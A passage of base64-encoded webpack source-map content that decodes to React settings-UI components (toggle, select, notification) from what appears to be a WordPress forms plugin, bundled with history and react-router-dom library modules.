aW9uXCJcblx0XHRcdFx0XHRcdFx0c3R5bGU9eyB7IG1hcmdpblRvcDogJzEwcHgnIH0gfVxuXHRcdFx0XHRcdFx0PlxuXHRcdFx0XHRcdFx0XHR7IHRoaXMucHJvcHMuZGVzY3JpcHRpb24gfVxuXHRcdFx0XHRcdFx0PC9zcGFuPlxuXHRcdFx0XHRcdCkgfVxuXG5cdFx0XHRcdDwvZGl2PlxuXHRcdFx0KTtcblx0XHR9XG5cblx0XHRyZXR1cm4gZ2V0RmllbGQ7XG5cdH1cbn1cblxuXG5cbi8vIFdFQlBBQ0sgRk9PVEVSIC8vXG4vLyAuL3NyYy9zZXR0aW5ncy9pbnB1dHMvc3VpLXNlbGVjdC5qcyIsIm1vZHVsZS5leHBvcnRzID0gUmVhY3RET007XG5cblxuLy8vLy8vLy8vLy8vLy8vLy8vXG4vLyBXRUJQQUNLIEZPT1RFUlxuLy8gZXh0ZXJuYWwgXCJSZWFjdERPTVwiXG4vLyBtb2R1bGUgaWQgPSAyM1xuLy8gbW9kdWxlIGNodW5rcyA9IDAgMSAyIDMgNCA1IiwiaW1wb3J0IF9jcmVhdGVCcm93c2VySGlzdG9yeSBmcm9tICcuL2NyZWF0ZUJyb3dzZXJIaXN0b3J5JztcbmV4cG9ydCB7IF9jcmVhdGVCcm93c2VySGlzdG9yeSBhcyBjcmVhdGVCcm93c2VySGlzdG9yeSB9O1xuaW1wb3J0IF9jcmVhdGVIYXNoSGlzdG9yeSBmcm9tICcuL2NyZWF0ZUhhc2hIaXN0b3J5JztcbmV4cG9ydCB7IF9jcmVhdGVIYXNoSGlzdG9yeSBhcyBjcmVhdGVIYXNoSGlzdG9yeSB9O1xuaW1wb3J0IF9jcmVhdGVNZW1vcnlIaXN0b3J5IGZyb20gJy4vY3JlYXRlTWVtb3J5SGlzdG9yeSc7XG5leHBvcnQgeyBfY3JlYXRlTWVtb3J5SGlzdG9yeSBhcyBjcmVhdGVNZW1vcnlIaXN0b3J5IH07XG5cbmV4cG9ydCB7IGNyZWF0ZUxvY2F0aW9uLCBsb2NhdGlvbnNBcmVFcXVhbCB9IGZyb20gJy4vTG9jYXRpb25VdGlscyc7XG5leHBvcnQgeyBwYXJzZVBhdGgsIGNyZWF0ZVBhdGggfSBmcm9tICcuL1BhdGhVdGlscyc7XG5cblxuLy8vLy8vLy8vLy8vLy8vLy8vXG4vLyBXRUJQQUNLIEZPT1RFUlxuLy8gLi9ub2RlX21vZHVsZXMvaGlzdG9yeS9lcy9pbmRleC5qc1xuLy8gbW9kdWxlIGlkID0gMjRcbi8vIG1vZHVsZSBjaHVua3MgPSAwIDEgMiAzIDQiLCJpbXBvcnQgUmVhY3QsIHsgQ29tcG9uZW50IH0gZnJvbSAncmVhY3QnO1xuaW1wb3J0IHsgdHJhbnNsYXRlIH0gZnJvbSAnLi4vLi4vdXRpbHMnO1xuXG5leHBvcnQgZGVmYXVsdCBjbGFzcyBUb2dnbGUgZXh0ZW5kcyBDb21wb25lbnQge1xuXHRjb25zdHJ1Y3RvciggcHJvcHMgKSB7XG5cdFx0c3VwZXIoIHByb3BzICk7XG5cblx0XHR0aGlzLnVwZGF0ZVZhbHVlID0gdGhpcy51cGRhdGVWYWx1ZS5iaW5kKCB0aGlzICk7XG5cdH1cblxuXHR1cGRhdGVWYWx1ZSggdmFsdWUgKSB7XG5cdFx0Ly8gQ2hlY2sgaWYgd2UncmUgb24gZmllbGQgc2V0dGluZ3Ncblx0XHRpZiAoIHR5cGVvZiB0aGlzLnByb3BzLnVwZGF0ZVByb3BlcnR5ID09PSAnZnVuY3Rpb24nICkge1xuXHRcdFx0Ly8gVXBkYXRlIGZpZWxkIHN0YXRlXG5cdFx0XHR0aGlzLnByb3BzLnVwZGF0ZVByb3BlcnR5KCB0aGlzLnByb3BzLnByb3BlcnR5LCB2YWx1ZSApO1xuXHRcdH0gZWxzZSB7XG5cdFx0XHQvLyBVcGRhdGUgc3RvcmVcblx0XHRcdHRoaXMucHJvcHMuYWN0aW9ucy5zZXR0aW5nc0FjdGlvbnMudXBkYXRlU2V0dGluZyggdGhpcy5wcm9wcy5wcm9wZXJ0eSwgdmFsdWUgKTtcblx0XHR9XG5cdH1cblxuXHRyZW5kZXIoKSB7XG5cdFx0Y29uc3QgdmFsdWUgPSBfLmlzVW5kZWZpbmVkKCB0aGlzLnByb3BzLnNldHRpbmdzWyB0aGlzLnByb3BzLnByb3BlcnR5IF0gKVxuXHRcdFx0PyAnJ1xuXHRcdFx0OiB0aGlzLnByb3BzLnNldHRpbmdzWyB0aGlzLnByb3BzLnByb3BlcnR5IF1cblx0XHRcdDtcblxuXHRcdGNvbnN0IGN1c3RvbUNsYXNzID0gISBfLmlzVW5kZWZpbmVkKCB0aGlzLnByb3BzLmN1c3RvbUNsYXNzIClcblx0XHRcdD8gdGhpcy5wcm9wcy5jdXN0b21DbGFzc1xuXHRcdFx0OiAnc3VpLWZvcm0tY29udHJvbCdcblx0XHRcdDtcblxuXHRcdGNvbnN0IGRpc2FibGVkID0gISBfLmlzVW5kZWZpbmVkKCB0aGlzLnByb3BzLmRpc2FibGVkICkgJiYgdGhpcy5wcm9wcy5kaXNhYmxlZDtcblx0XHRjb25zdCBjaGVja2VkID0gdmFsdWUgJiYgISBkaXNhYmxlZDtcblxuXHRcdGNvbnN0IHRvZ2dsZUNvbnRlbnQgPSAoXG5cdFx0XHQ8bGFiZWwgaHRtbEZvcj17IGBmb3JtaW5hdG9yLWZpZWxkLSR7IHRoaXMucHJvcHMucHJvcGVydHkgfWAgfVxuXHRcdFx0XHRjbGFzc05hbWU9XCJzdWktdG9nZ2xlXCJcblx0XHRcdD5cblx0XHRcdFx0PGlucHV0IHR5cGU9XCJjaGVja2JveFwiXG5cdFx0XHRcdFx0dmFsdWU9XCJ0cnVlXCJcblx0XHRcdFx0XHRpZD17IGBmb3JtaW5hdG9yLWZpZWxkLSR7IHRoaXMucHJvcHMucHJvcGVydHkgfWAgfVxuXHRcdFx0XHRcdGNsYXNzTmFtZT17IGN1c3RvbUNsYXNzIH1cblx0XHRcdFx0XHRkaXNhYmxlZD17IGRpc2FibGVkID8gJ2Rpc2FibGVkJyA6ICcnIH1cblx0XHRcdFx0XHRjaGVja2VkPXsgY2hlY2tlZCA/ICdjaGVja2VkJyA6ICcnIH1cblx0XHRcdFx0XHRvbkNoYW5nZT17IGUgPT4ge1xuXHRcdFx0XHRcdFx0dGhpcy51cGRhdGVWYWx1ZSggZS50YXJnZXQuY2hlY2tlZCApO1xuXHRcdFx0XHRcdH0gfVxuXHRcdFx0XHQvPlxuXHRcdFx0XHQ8c3BhbiBjbGFzc05hbWU9XCJzdWktdG9nZ2xlLXNsaWRlclwiIC8+XG5cdFx0XHRcdHsgdGhpcy5wcm9wcy5sYWJlbCAmJiAoXG5cdFx0XHRcdFx0PFJlYWN0LkZyYWdtZW50PlxuXHRcdFx0XHRcdFx0PHNwYW4gY2xhc3NOYW1lPVwic3VpLXNjcmVlbi1yZWFkZXItdGV4dFwiPlxuXHRcdFx0XHRcdFx0XHR7IHRyYW5zbGF0ZSggJ0VuYWJsZScgKSB9IHsgdGhpcy5wcm9wcy5sYWJlbCB9XG5cdFx0XHRcdFx0XHQ8L3NwYW4+XG5cdFx0XHRcdFx0XHQ8c3BhbiBjbGFzc05hbWU9XCJzdWktdG9nZ2xlLWxhYmVsXCI+XG5cdFx0XHRcdFx0XHRcdHsgdGhpcy5wcm9wcy5sYWJlbCB9XG5cdFx0XHRcdFx0XHQ8L3NwYW4+XG5cdFx0XHRcdFx0PC9SZWFjdC5GcmFnbWVudD5cblx0XHRcdFx0KSB9XG5cdFx0XHRcdHsgdGhpcy5wcm9wcy5kZXNjcmlwdGlvbiAmJiAoXG5cdFx0XHRcdFx0PHNwYW4gY2xhc3NOYW1lPVwic3VpLWRlc2NyaXB0aW9uIHN1aS10b2dnbGUtZGVzY3JpcHRpb25cIj5cblx0XHRcdFx0XHRcdHsgdGhpcy5wcm9wcy5kZXNjcmlwdGlvbiB9XG5cdFx0XHRcdFx0PC9zcGFuPlxuXHRcdFx0XHQpIH1cblx0XHRcdDwvbGFiZWw+XG5cdFx0KTtcblxuXHRcdGxldCBzdWJUb2dnbGUgPSAnJztcblxuXHRcdGlmICggdGhpcy5wcm9wcy5jaGlsZHJlbiAmJiB0aGlzLnByb3BzLnNldHRpbmdzWyB0aGlzLnByb3BzLnByb3BlcnR5IF0gKSB7XG5cdFx0XHRzdWJUb2dnbGUgPSAoXG5cdFx0XHRcdDxSZWFjdC5GcmFnbWVudD5cblx0XHRcdFx0XHQ8ZGl2XG5cdFx0XHRcdFx0XHR0YWJJbmRleD1cIjBcIlxuXHRcdFx0XHRcdFx0Y2xhc3NOYW1lPVwic3VpLXRvZ2dsZS1jb250ZW50IHN1aS1ib3JkZXItZnJhbWVcIlxuXHRcdFx0XHRcdFx0YXJpYS1sYWJlbD17IHRoaXMucHJvcHMubGFiZWwgfVxuXHRcdFx0XHRcdD5cblx0XHRcdFx0XHRcdHsgdGhpcy5wcm9wcy5jaGlsZHJlbiB9XG5cdFx0XHRcdFx0PC9kaXY+XG5cdFx0XHRcdDwvUmVhY3QuRnJhZ21lbnQ+XG5cdFx0XHQpO1xuXHRcdH1cblxuXHRcdGlmICggdGhpcy5wcm9wcy51bldyYXAgKSB7XG5cdFx0XHRyZXR1cm4gKFxuXHRcdFx0XHQ8UmVhY3QuRnJhZ21lbnQ+XG5cdFx0XHRcdFx0eyB0b2dnbGVDb250ZW50IH1cblx0XHRcdFx0XHR7IHN1YlRvZ2dsZSB9XG5cdFx0XHRcdDwvUmVhY3QuRnJhZ21lbnQ+XG5cdFx0XHQpO1xuXHRcdH1cblxuXHRcdGlmICggISB0aGlzLnByb3BzLnVuV3JhcCApIHtcblx0XHRcdHJldHVybiAoXG5cdFx0XHRcdDxkaXYgY2xhc3NOYW1lPVwic3VpLWZvcm0tZmllbGRcIj5cblx0XHRcdFx0XHR7IHRvZ2dsZUNvbnRlbnQgfVxuXHRcdFx0XHRcdHsgc3ViVG9nZ2xlIH1cblx0XHRcdFx0PC9kaXY+XG5cdFx0XHQpO1xuXHRcdH1cblx0fVxufVxuXG5cblxuLy8gV0VCUEFDSyBGT09URVIgLy9cbi8vIC4vc3JjL3NldHRpbmdzL2lucHV0cy90b2dnbGUuanMiLCJpbXBvcnQgX0Jyb3dzZXJSb3V0ZXIgZnJvbSBcIi4vQnJvd3NlclJvdXRlclwiO1xuZXhwb3J0IHsgX0Jyb3dzZXJSb3V0ZXIgYXMgQnJvd3NlclJvdXRlciB9O1xuaW1wb3J0IF9IYXNoUm91dGVyIGZyb20gXCIuL0hhc2hSb3V0ZXJcIjtcbmV4cG9ydCB7IF9IYXNoUm91dGVyIGFzIEhhc2hSb3V0ZXIgfTtcbmltcG9ydCBfTGluayBmcm9tIFwiLi9MaW5rXCI7XG5leHBvcnQgeyBfTGluayBhcyBMaW5rIH07XG5pbXBvcnQgX01lbW9yeVJvdXRlciBmcm9tIFwiLi9NZW1vcnlSb3V0ZXJcIjtcbmV4cG9ydCB7IF9NZW1vcnlSb3V0ZXIgYXMgTWVtb3J5Um91dGVyIH07XG5pbXBvcnQgX05hdkxpbmsgZnJvbSBcIi4vTmF2TGlua1wiO1xuZXhwb3J0IHsgX05hdkxpbmsgYXMgTmF2TGluayB9O1xuaW1wb3J0IF9Qcm9tcHQgZnJvbSBcIi4vUHJvbXB0XCI7XG5leHBvcnQgeyBfUHJvbXB0IGFzIFByb21wdCB9O1xuaW1wb3J0IF9SZWRpcmVjdCBmcm9tIFwiLi9SZWRpcmVjdFwiO1xuZXhwb3J0IHsgX1JlZGlyZWN0IGFzIFJlZGlyZWN0IH07XG5pbXBvcnQgX1JvdXRlIGZyb20gXCIuL1JvdXRlXCI7XG5leHBvcnQgeyBfUm91dGUgYXMgUm91dGUgfTtcbmltcG9ydCBfUm91dGVyIGZyb20gXCIuL1JvdXRlclwiO1xuZXhwb3J0IHsgX1JvdXRlciBhcyBSb3V0ZXIgfTtcbmltcG9ydCBfU3RhdGljUm91dGVyIGZyb20gXCIuL1N0YXRpY1JvdXRlclwiO1xuZXhwb3J0IHsgX1N0YXRpY1JvdXRlciBhcyBTdGF0aWNSb3V0ZXIgfTtcbmltcG9ydCBfU3dpdGNoIGZyb20gXCIuL1N3aXRjaFwiO1xuZXhwb3J0IHsgX1N3aXRjaCBhcyBTd2l0Y2ggfTtcbmltcG9ydCBfZ2VuZXJhdGVQYXRoIGZyb20gXCIuL2dlbmVyYXRlUGF0aFwiO1xuZXhwb3J0IHsgX2dlbmVyYXRlUGF0aCBhcyBnZW5lcmF0ZVBhdGggfTtcbmltcG9ydCBfbWF0Y2hQYXRoIGZyb20gXCIuL21hdGNoUGF0aFwiO1xuZXhwb3J0IHsgX21hdGNoUGF0aCBhcyBtYXRjaFBhdGggfTtcbmltcG9ydCBfd2l0aFJvdXRlciBmcm9tIFwiLi93aXRoUm91dGVyXCI7XG5leHBvcnQgeyBfd2l0aFJvdXRlciBhcyB3aXRoUm91dGVyIH07XG5cblxuLy8vLy8vLy8vLy8vLy8vLy8vXG4vLyBXRUJQQUNLIEZPT1RFUlxuLy8gLi9ub2RlX21vZHVsZXMvcmVhY3Qtcm91dGVyLWRvbS9lcy9pbmRleC5qc1xuLy8gbW9kdWxlIGlkID0gMjdcbi8vIG1vZHVsZSBjaHVua3MgPSAwIDEgMiAzIDQiLCJleHBvcnQgdmFyIGFkZExlYWRpbmdTbGFzaCA9IGZ1bmN0aW9uIGFkZExlYWRpbmdTbGFzaChwYXRoKSB7XG4gIHJldHVybiBwYXRoLmNoYXJBdCgwKSA9PT0gJy8nID8gcGF0aCA6ICcvJyArIHBhdGg7XG59O1xuXG5leHBvcnQgdmFyIHN0cmlwTGVhZGluZ1NsYXNoID0gZnVuY3Rpb24gc3RyaXBMZWFkaW5nU2xhc2gocGF0aCkge1xuICByZXR1cm4gcGF0aC5jaGFyQXQoMCkgPT09ICcvJyA/IHBhdGguc3Vic3RyKDEpIDogcGF0aDtcbn07XG5cbmV4cG9ydCB2YXIgaGFzQmFzZW5hbWUgPSBmdW5jdGlvbiBoYXNCYXNlbmFtZShwYXRoLCBwcmVmaXgpIHtcbiAgcmV0dXJuIG5ldyBSZWdFeHAoJ14nICsgcHJlZml4ICsgJyhcXFxcL3xcXFxcP3wjfCQpJywgJ2knKS50ZXN0KHBhdGgpO1xufTtcblxuZXhwb3J0IHZhciBzdHJpcEJhc2VuYW1lID0gZnVuY3Rpb24gc3RyaXBCYXNlbmFtZShwYXRoLCBwcmVmaXgpIHtcbiAgcmV0dXJuIGhhc0Jhc2VuYW1lKHBhdGgsIHByZWZpeCkgPyBwYXRoLnN1YnN0cihwcmVmaXgubGVuZ3RoKSA6IHBhdGg7XG59O1xuXG5leHBvcnQgdmFyIHN0cmlwVHJhaWxpbmdTbGFzaCA9IGZ1bmN0aW9uIHN0cmlwVHJhaWxpbmdTbGFzaChwYXRoKSB7XG4gIHJldHVybiBwYXRoLmNoYXJBdChwYXRoLmxlbmd0aCAtIDEpID09PSAnLycgPyBwYXRoLnNsaWNlKDAsIC0xKSA6IHBhdGg7XG59O1xuXG5leHBvcnQgdmFyIHBhcnNlUGF0aCA9IGZ1bmN0aW9uIHBhcnNlUGF0aChwYXRoKSB7XG4gIHZhciBwYXRobmFtZSA9IHBhdGggfHwgJy8nO1xuICB2YXIgc2VhcmNoID0gJyc7XG4gIHZhciBoYXNoID0gJyc7XG5cbiAgdmFyIGhhc2hJbmRleCA9IHBhdGhuYW1lLmluZGV4T2YoJyMnKTtcbiAgaWYgKGhhc2hJbmRleCAhPT0gLTEpIHtcbiAgICBoYXNoID0gcGF0aG5hbWUuc3Vic3RyKGhhc2hJbmRleCk7XG4gICAgcGF0aG5hbWUgPSBwYXRobmFtZS5zdWJzdHIoMCwgaGFzaEluZGV4KTtcbiAgfVxuXG4gIHZhciBzZWFyY2hJbmRleCA9IHBhdGhuYW1lLmluZGV4T2YoJz8nKTtcbiAgaWYgKHNlYXJjaEluZGV4ICE9PSAtMSkge1xuICAgIHNlYXJjaCA9IHBhdGhuYW1lLnN1YnN0cihzZWFyY2hJbmRleCk7XG4gICAgcGF0aG5hbWUgPSBwYXRobmFtZS5zdWJzdHIoMCwgc2VhcmNoSW5kZXgpO1xuICB9XG5cbiAgcmV0dXJuIHtcbiAgICBwYXRobmFtZTogcGF0aG5hbWUsXG4gICAgc2VhcmNoOiBzZWFyY2ggPT09ICc/JyA/ICcnIDogc2VhcmNoLFxuICAgIGhhc2g6IGhhc2ggPT09ICcjJyA/ICcnIDogaGFzaFxuICB9O1xufTtcblxuZXhwb3J0IHZhciBjcmVhdGVQYXRoID0gZnVuY3Rpb24gY3JlYXRlUGF0aChsb2NhdGlvbikge1xuICB2YXIgcGF0aG5hbWUgPSBsb2NhdGlvbi5wYXRobmFtZSxcbiAgICAgIHNlYXJjaCA9IGxvY2F0aW9uLnNlYXJjaCxcbiAgICAgIGhhc2ggPSBsb2NhdGlvbi5oYXNoO1xuXG5cbiAgdmFyIHBhdGggPSBwYXRobmFtZSB8fCAnLyc7XG5cbiAgaWYgKHNlYXJjaCAmJiBzZWFyY2ggIT09ICc/JykgcGF0aCArPSBzZWFyY2guY2hhckF0KDApID09PSAnPycgPyBzZWFyY2ggOiAnPycgKyBzZWFyY2g7XG5cbiAgaWYgKGhhc2ggJiYgaGFzaCAhPT0gJyMnKSBwYXRoICs9IGhhc2guY2hhckF0KDApID09PSAnIycgPyBoYXNoIDogJyMnICsgaGFzaDtcblxuICByZXR1cm4gcGF0aDtcbn07XG5cblxuLy8vLy8vLy8vLy8vLy8vLy8vXG4vLyBXRUJQQUNLIEZPT1RFUlxuLy8gLi9ub2RlX21vZHVsZXMvaGlzdG9yeS9lcy9QYXRoVXRpbHMuanNcbi8vIG1vZHVsZSBpZCA9IDI4XG4vLyBtb2R1bGUgY2h1bmtzID0gMCAxIDIgMyA0IiwiaW1wb3J0IFJlYWN0LCB7IENvbXBvbmVudCB9IGZyb20gJ3JlYWN0JztcblxuZXhwb3J0IGRlZmF1bHQgY2xhc3MgTm90aWZpY2F0aW9uIGV4dGVuZHMgQ29tcG9uZW50IHtcblx0Y29uc3RydWN0b3IoIHByb3BzICkge1xuXHRcdHN1cGVyKCBwcm9wcyApO1xuXHR9XG5cblx0aW5pdGlhbGl6ZSgpIHtcblx0XHRpZiAoICEgalF1ZXJ5KCAnLnN1aS1mbG9hdGluZy1ub3RpY2VzJyApLmxlbmd0aCApIHtcblx0XHRcdGpRdWVyeSggJ21haW4uc3VpLXdyYXAnICkucHJlcGVuZCggJzxkaXYgY2xhc3M9XCJzdWktZmxvYXRpbmctbm90aWNlc1wiPjwvZGl2PicgKTtcblx0XHR9XG5cblx0XHRpZiAoICEgalF1ZXJ5KCAnI2Zvcm1pbmF0b3Itbm90aWZpY2F0aW9uJyApLmxlbmd0aCApIHtcblx0XHRcdGpRdWVyeSggJy5zdWktZmxvYXRpbmctbm90aWNlcycgKS5hcHBlbmQoXG5cdFx0XHRcdCc8ZGl2IHJvbGU9XCJhbGVydFwiIGlkPVwiZm9ybWluYXRvci1ub3RpZmljYXRpb25cIiBjbGFzcz1cInN1aS1ub3RpY2VcIiBhcmlhLWxpdmU9XCJhc3NlcnRpdmVcIj48L2Rpdj4nXG5cdFx0XHQpO1xuXHRcdH0gZWxzZSB7XG5cdFx0XHRqUXVlcnkoICcjZm9ybWluYXRvci1ub3RpZmljYXRpb24nICkucmVtb3ZlKCk7XG5cdFx0XHR0aGlzLmluaXRpYWxpemUoKTtcblx0XHR9XG5cblx0XHR0aGlzLiRub3RpZmljYXRpb24gPSBqUXVlcnkoICcjZm9ybWluYXRvci1ub3RpZmljYXRpb24nICk7XG5cdH1cblxuXHRvcGVuKCkge1xuXHRcdHRoaXMuaW5pdGlhbGl6ZSgpO1xuXG5cdFx0Y29uc3Qgbm90aWNlSWQgPSAnZm9ybWluYXRvci1ub3RpZmljYXRpb24nO1xuXHRcdGNvbnN0IG5vdGljZU1lc3NhZ2UgPSAnPHA+JyArIHRoaXMucHJvcHMudGV4dCArICc8L3A+Jztcblx0XHRjb25zdCBub3RpY2VPcHRpb25zID0ge1xuXHRcdFx0dHlwZTogdGhpcy5wcm9wcy50eXBlIHx8ICdkZWZhdWx0Jyxcblx0XHRcdGF1dG9jbG9zZToge1xuXHRcdFx0XHR0aW1lb3V0OiB0aGlzLnByb3BzLnRpbWUgfHwgNTAwMCxcblx0XHRcdH0sXG5cdFx0XHRkaXNtaXNzOiB7XG5cdFx0XHRcdHNob3c6IHRoaXMucHJvcHMuZGlzbWlzcyB8fCBmYWxzZVxuXHRcdFx0fSxcblx0XHR9O1xuXG5cdFx0U1VJLm9wZW5Ob3RpY2UoIG5vdGljZUlkLCBub3RpY2VNZXNzYWdlLCBub3RpY2VPcHRpb25zICk7XG5cdH1cblxuXHRjbG9zZSgpIHtcblx0XHRjb25zdCBub3RpY2VJZCA9ICdmb3JtaW5hdG9yLW5vdGlmaWNhdGlvbic7XG5cdFx0U1VJLmNsb3NlTm90aWNlKCBub3RpY2VJZCApO1xuXHR9XG59XG5cblxuXG4vLyBXRUJQQUNLIEZPT1RFUiAvL1xuLy8gLi9zcmMvbm90aWZpY2F0aW9ucy5qcyIsIi8qKlxuICogQ29weXJpZ2h0IDIwMTQtMjAxNSwgRmFjZWJvb2ssIEluYy5cbiAqIEFsbCByaWdodHMgcmVzZXJ2ZWQuXG4gKlxuICogVGhpcyBzb3VyY2UgY29kZSBpcyBsaWNlbnNlZCB1bmRlciB0aGUgQlNELXN0eWxlIGxpY2Vuc2UgZm91bmQgaW4gdGhlXG4gKiBMSUNFTlNFIGZpbGUgaW4gdGhlIHJvb3QgZGlyZWN0b3J5IG9mIHRoaXMgc291cmNlIHRyZWUuIEFuIGFkZGl0aW9uYWwgZ3JhbnRcbiAqIG9mIHBhdGVudCByaWdodHMgY2FuIGJlIGZvdW5kIGluIHRoZSBQQVRFTlRTIGZpbGUgaW4gdGhlIHNhbWUgZGlyZWN0b3J5LlxuICovXG5cbid1c2Ugc3RyaWN0JztcblxuLyoqXG4gKiBTaW1pbGFyIHRvIGludmFyaWFudCBidXQgb25seSBsb2dzIGEgd2FybmluZyBpZiB0aGUgY29uZGl0aW9uIGlzIG5vdCBtZXQuXG4gKiBUaGlzIGNhbiBiZSB1c2VkIHRvIGxvZyBpc3N1ZXMgaW4gZGV2ZWxvcG1lbnQgZW52aXJvbm1lbnRzIGluIGNyaXRpY2FsXG4gKiBwYXRocy4gUmVtb3ZpbmcgdGhlIGxvZ2dpbmcgY29kZSBmb3IgcHJvZHVjdGlvbiBlbnZpcm9ubWVudHMgd2lsbCBrZWVwIHRoZVxuICogc2FtZSBsb2dpYyBhbmQgZm9sbG93IHRoZSBzYW1lIGNvZGUgcGF0aHMuXG4gKi9cblxudmFyIHdhcm5pbmcgPSBmdW5jdGlvbigpIHt9O1xuXG5pZiAocHJvY2Vzcy5lbnYuTk9ERV9FTlYgIT09ICdwcm9kdWN0aW9uJykge1xuICB3YXJuaW5nID0gZnVuY3Rpb24oY29uZGl0aW9uLCBmb3JtYXQsIGFyZ3MpIHtcbiAgICB2YXIgbGVuID0gYXJndW1lbnRzLmxlbmd0aDtcbiAgICBhcmdzID0gbmV3IEFycmF5KGxlbiA+IDIgPyBsZW4gLSAyIDogMCk7XG4gICAgZm9yICh2YXIga2V5ID0gMjsga2V5IDwgbGVuOyBrZXkrKykge1xuICAgICAgYXJnc1trZXkgLSAyXSA9IGFyZ3VtZW50c1trZXldO1xuICAgIH1cbiAgICBpZiAoZm9ybWF0ID09PSB1bmRlZmluZWQpIHtcbiAgICAgIHRocm93IG5ldyBFcnJvcihcbiAgICAgICAgJ2B3YXJuaW5nKGNvbmRpdGlvbiwgZm9ybWF0LCAuLi5hcmdzKWAgcmVxdWlyZXMgYSB3YXJuaW5nICcgK1xuICAgICAgICAnbWVzc2FnZSBhcmd1bWVudCdcbiAgICAgICk7XG4gICAgfVxuXG4gICAgaWYgKGZvcm1hdC5sZW5ndGggPCAxMCB8fCAoL15bc1xcV10qJC8pLnRlc3QoZm9ybWF0KSkge1xuICAgICAgdGhyb3cgbmV3IEVycm9yKFxuICAgICAgICAnVGhlIHdhcm5pbmcgZm9ybWF0IHNob3VsZCBiZSBhYmxlIHRvIHVuaXF1ZWx5IGlkZW50aWZ5IHRoaXMgJyArXG4gICAgICAgICd3YXJuaW5nLiBQbGVhc2UsIHVzZSBhIG1vcmUgZGVzY3JpcHRpdmUgZm9ybWF0IHRoYW46ICcgKyBmb3JtYXRcbiAgICAgICk7XG4gICAgfVxuXG4gICAgaWYgKCFjb25kaXRpb24pIHtcbiAgICAgIHZhciBhcmdJbmRleCA9IDA7XG4gICAgICB2YXIgbWVzc2FnZSA9ICdXYXJuaW5nOiAnICtcbiAgICAgICAgZm9ybWF0LnJlcGxhY2UoLyVzL2csIGZ1bmN0aW9uKCkge1xuICAgICAgICAgIHJldHVybiBhcmdzW2FyZ0luZGV4KytdO1xuICAgICAgICB9KTtcbiAgICAgIGlmICh0eXBlb2YgY29uc29sZSAhPT0gJ3VuZGVmaW5lZCcpIHtcbiAgICAgICAgY29uc29sZS5lcnJvcihtZXNzYWdlKTtcbiAgICAgIH1cbiAgICAgIHRyeSB7XG4gICAgICAgIC8vIFRoaXMgZXJyb3Igd2FzIHRocm93biBhcyBhIGNvbnZlbmllbmNlIHNvIHRoYXQgeW91IGNhbiB1c2UgdGhpcyBzdGFja1xuICAgICAgICAvLyB0byBmaW5kIHRoZSBjYWxsc2l0ZSB0aGF0IGNhdXNlZCB0aGlzIHdhcm5pbmcgdG8gZmlyZS5cbiAgICAgICAgdGhyb3cgbmV3IEVycm9yKG1lc3NhZ2UpO1xuICAgICAgfSBjYXRjaCh4KSB7fVxuICAgIH1cbiAgfTtcbn1cblxubW9kdWxlLmV4cG9ydHMgPSB3YXJuaW5nO1xuXG5cblxuLy8vLy8vLy8vLy8vLy8vLy8vXG4vLyBXRUJQQUNLIEZPT1RFUlxuLy8gLi9ub2RlX21vZHVsZXMvaGlzdG9yeS9ub2RlX21vZHVsZXMvd2FybmluZy9icm93c2VyLmpzXG4vLyBtb2R1bGUgaWQgPSAzM1xuLy8gbW9kdWxlIGNodW5rcyA9IDAgMSAyIDMgNCIsInZhciBfZXh0ZW5kcyA9IE9iamVjdC5hc3NpZ24gfHwgZnVuY3Rpb24gKHRhcmdldCkgeyBmb3IgKHZhciBpID0gMTsgaSA8IGFyZ3VtZW50cy5sZW5ndGg7IGkrKykgeyB2YXIgc291cmNlID0gYXJndW1lbnRzW2ldOyBmb3IgKHZhciBrZXkgaW4gc291cmNlKSB7IGlmIChPYmplY3QucHJvdG90eXBlLmhhc093blByb3BlcnR5LmNhbGwoc291cmNlLCBrZXkpKSB7IHRhcmdldFtrZXldID0gc291cmNlW2tleV07IH0gfSB9IHJldHVybiB0YXJnZXQ7IH07XG5cbmltcG9ydCByZXNvbHZlUGF0aG5hbWUgZnJvbSAncmVzb2x2ZS1wYXRobmFtZSc7XG5pbXBvcnQgdmFsdWVFcXVhbCBmcm9tICd2YWx1ZS1lcXVhbCc7XG5pbXBvcnQgeyBwYXJzZVBhdGggfSBmcm9tICcuL1BhdGhVdGlscyc7XG5cbmV4cG9ydCB2YXIgY3JlYXRlTG9jYXRpb24gPSBmdW5jdGlvbiBjcmVhdGVMb2NhdGlvbihwYXRoLCBzdGF0ZSwga2V5LCBjdXJyZW50TG9jYXRpb24pIHtcbiAgdmFyIGxvY2F0aW9uID0gdm9pZCAwO1xuICBpZiAodHlwZW9mIHBhdGggPT09ICdzdHJpbmcnKSB7XG4gICAgLy8gVHdvLWFyZyBmb3JtOiBwdXNoKHBhdGgsIHN0YXRlKVxuICAgIGxvY2F0aW9uID0gcGFyc2VQYXRoKHBhdGgpO1xuICAgIGxvY2F0aW9uLnN0YXRlID0gc3RhdGU7XG4gIH0gZWxzZSB7XG4gICAgLy8gT25lLWFyZyBmb3JtOiBwdXNoKGxvY2F0aW9uKVxuICAgIGxvY2F0aW9uID0gX2V4dGVuZHMoe30sIHBhdGgpO1xuXG4gICAgaWYgKGxvY2F0aW9uLnBhdGhuYW1lID09PSB1bmRlZmluZWQpIGxvY2F0aW9uLnBhdGhuYW1lID0gJyc7XG5cbiAgICBpZiAobG9jYXRpb24uc2VhcmNoKSB7XG4gICAgICBpZiAobG9jYXRpb24uc2VhcmNoLmNoYXJBdCgwKSAhPT0gJz8nKSBsb2NhdGlvbi5zZWFyY2ggPSAnPycgKyBsb2NhdGlvbi5zZWFyY2g7XG4gICAgfSBlbHNlIHtcbiAgICAgIGxvY2F0aW9uLnNlYXJjaCA9ICcnO1xuICAgIH1cblxuICAgIGlmIChsb2NhdGlvbi5oYXNoKSB7XG4gICAgICBpZiAobG9jYXRpb24uaGFzaC5jaGFyQXQoMCkgIT09ICcjJykgbG9jYXRpb24uaGFzaCA9ICcjJyArIGxvY2F0aW9uLmhhc2g7XG4gICAgfSBlbHNlIHtcbiAgICAgIGxvY2F0aW9uLmhhc2ggPSAnJztcbiAgICB9XG5cbiAgICBpZiAoc3RhdGUgIT09IHVuZGVmaW5lZCAmJiBsb2NhdGlvbi5zdGF0ZSA9PT0gdW5kZWZpbmVkKSBsb2NhdGlvbi5zdGF0ZSA9IHN0YXRlO1xuICB9XG5cbiAgdHJ5IHtcbiAgICBsb2NhdGlvbi5wYXRobmFtZSA9IGRlY29kZVVSSShsb2NhdGlvbi5wYXRobmFtZSk7XG4gIH0gY2F0Y2ggKGUpIHtcbiAgICBpZiAoZSBpbnN0YW5jZW9mIFVSSUVycm9yKSB7XG4gICAgIC